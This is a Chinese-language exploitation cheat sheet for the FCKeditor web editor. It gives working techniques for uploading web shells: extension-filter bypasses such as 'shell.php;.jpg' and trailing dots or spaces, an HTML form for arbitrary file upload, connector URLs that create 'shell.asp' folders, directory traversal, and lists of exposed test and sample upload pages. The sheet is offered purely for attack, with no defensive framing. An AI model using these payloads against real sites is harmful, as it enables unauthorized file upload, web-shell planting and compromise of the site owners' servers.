Fckeditor漏洞利用總結

查看編輯器版本

fckeditor/_whatsnew.html

—————————————————————————————————————————————————————————————

2. version 2.2 版本

apache+linux 環境下在上傳檔案後面加個.突破!測試通過。

—————————————————————————————————————————————————————————————

3.version <=2.4.2 for php 在處理php 上傳的地方並未對media 類型進行上傳檔案類型的控制,導致用戶上傳任意檔案!將以下保存為html檔案,修改action地址。

<form id="frmupload" enctype="multipart/form-data"

action="http://www.site.com/fckeditor/editor/filemanager/upload/php/upload.php?type=media" method="post">upload a new file:<br>

<input type="file" name="newfile" size="50"><br>

<input id="btnupload" type="submit" value="upload">

</form>

—————————————————————————————————————————————————————————————

4.fckeditor 檔案上傳“.”變“_”下劃線的繞過方法

很多時候上傳的檔案例如:shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版fck 的變化。

4.1:提交shell.php+空格繞過

不過空格只支持win 系統 *nix 是不支持的[shell.php 和shell.php+空格是2 個不同的檔案 未測試。

4.2:繼續上傳同名檔案可變為shell.php;(1).jpg 也可以新建一個資料夾,只檢測了第一級的目錄,如果跳到二級目錄就不受限制。

—————————————————————————————————————————————————————————————

5. 突破建立資料夾

fckeditor/editor/filemanager/connectors/asp/connector.asp?command=createfolder&type=image&currentfolder=%2fshell.asp&newfoldername=z&uuid=1244789975684

fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?command=createfolder&currentfolder=/&type=image&newfoldername=shell.asp

—————————————————————————————————————————————————————————————

6. fckeditor 中test 檔案的上傳地址

fckeditor/editor/filemanager/browser/default/connectors/test.html

fckeditor/editor/filemanager/upload/test.html

fckeditor/editor/filemanager/connectors/test.html

fckeditor/editor/filemanager/connectors/uploadtest.html

—————————————————————————————————————————————————————————————

7.常用上傳地址

fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?command=getfoldersandfiles&type=image&currentfolder=/

fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/asp/connector.asp

fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=http://www.site.com%2ffckeditor%2feditor%2ffilemanager%2fconnectors%2fphp%2fconnector.php (ver:2.6.3 測試通過)

jsp 版:

fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/jsp/connector.jsp

注意紅色部分修改為fckeditor 實際使用的腳本語言,藍色部分可以自定義文

件夾名稱也可以利用../..目錄遍歷,紫色部分為實際網站地址。

—————————————————————————————————————————————————————————————

8.其他上傳地址

fckeditor/_samples/default.html

fckeditor/_samples/asp/sample01.asp

fckeditor/_samples/asp/sample02.asp

fckeditor/_samples/asp/sample03.asp

fckeditor/_samples/asp/sample04.asp

一般很多站點都已刪除_samples 目錄,可以試試。

fckeditor/editor/fckeditor.html 不可以上傳檔案,可以點擊上傳圖片按鈕再選擇瀏覽伺服器即可跳轉至可上傳檔案頁。